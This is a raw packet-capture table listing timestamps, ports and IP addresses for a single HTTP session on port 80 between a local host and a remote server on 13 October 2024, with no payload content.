Oct 13, 2024 06:54:15.955519915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:15.955533981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.955533981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.955533981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.955569983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.955569983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:15.955569983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.036591053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.036622047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.036654949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.036704063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.036724091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.036737919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.036761999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.036761999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.036772966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.036789894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.036837101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.036869049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.036887884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.036887884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.036917925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.036952972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.036983013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.037002087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.037002087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.037002087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.037015915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.037051916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.037060976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.037065983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.037070036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.037103891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.037115097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.037115097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.037139893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.037164927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.037173033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.037189960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.037206888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.037234068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.037262917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.037278891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.037318945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.067327976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.067380905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.067399979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.067440987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.067450047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.067485094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.067517996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.067548990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.067580938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.067611933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.067645073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.067658901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.067660093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.067660093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.067660093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.067660093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.067660093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.067677975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.067706108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.067713022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.067761898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.067761898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.067837954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.067888021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.067894936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.067917109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.067938089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.067951918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.067972898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.068001032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.068030119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.068077087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.068092108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.068092108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.068092108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.068111897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.068160057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.068167925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.068167925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.068192959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.068224907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.068238020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.068238020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.068255901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.068267107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.068305016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.068310022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.068339109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.068367004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.068413973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.068418980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.068418980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.068418980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.068448067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.068480968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.068492889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.068496943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.068547010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.068578005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.068586111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.068608999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.068640947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.068664074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.068664074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.068664074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.068689108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.068690062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.068722010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.068753958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.068793058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.068794012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.068794012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.068803072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.068852901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.068885088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.068933010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.068952084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.068952084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.068952084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.068964005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.068998098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.069030046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.069056034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.069056034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.069056988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.069061995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.069083929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.069096088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.069124937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.069130898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.069159985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.069179058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.069179058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.069191933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.069224119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.069255114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.069286108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.069334030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.069334030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.069334030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.069334030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.069334030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.069339991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.069391966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.069402933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.069420099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.069467068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.069488049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.069488049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.069499016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.069545984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.069545984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.069547892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.069597960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.069611073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.069645882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.069695950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.069742918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.069791079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.069807053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.069807053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.069807053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.069807053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.069868088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.069876909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.069902897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.069935083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.069967031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.069996119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.069996119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.069996119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.069998980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.070033073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.070049047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.070049047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.070063114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.070095062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.070126057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.070147991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.070147991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.070147991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.070158958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.070187092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.070218086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.070250034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.070262909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.070262909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.070262909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.070262909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.070281982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.070314884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.070344925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.070377111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.070406914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.070422888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.070422888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.070422888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.070422888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.070422888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.070441961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.070456028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.070472956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.070506096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.070539951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.070555925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.070555925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.070555925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.070573092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.070599079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.070605040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.070621014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.070638895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.070671082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.070719004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.070749044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.070753098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.070753098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.070753098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.070768118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.070799112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.070801973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.070832968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.070864916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.070895910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.070926905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.070957899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.070990086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.071006060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.071006060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.071006060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.071006060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.071006060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.071006060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.071021080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.071053028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.071084976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.071115971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.071122885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.071122885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.071122885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.071124077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.071151018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.071152925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.071182966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.071216106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.071218014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.071249008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.071285009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.071314096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.071365118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.071365118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.071365118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.071365118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.071365118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.071773052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.071822882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.071855068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.071855068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.071873903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.071887016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.071901083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.071919918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.071943998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.071953058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.071963072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.071988106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.072015047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.072041035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.072041035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.072053909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.125407934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.125458956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.125492096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.125498056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.125521898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.125533104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.125544071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.125618935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.125648975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.125698090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.125705957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.125739098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.125767946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.125773907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.125806093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.125814915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.125814915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.125839949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.125853062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.125871897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.125920057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.125926018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.125940084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.125967026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.125972033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.126024961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.156128883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.156183958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.156219006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.156253099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.156267881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.156267881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.156286001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.156325102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.156343937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.156343937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.156343937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.156373024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.156408072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.156411886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.156424046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.156451941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.156517029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.156548977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.156580925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.156588078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.156588078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.156588078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.156613111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.156620979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.156621933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.156646967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.156681061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.156769037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.156769037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.156769037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:16.156788111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.156819105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:16.156841040 CEST	49730	80	192.168.2.4	185.215.113.37
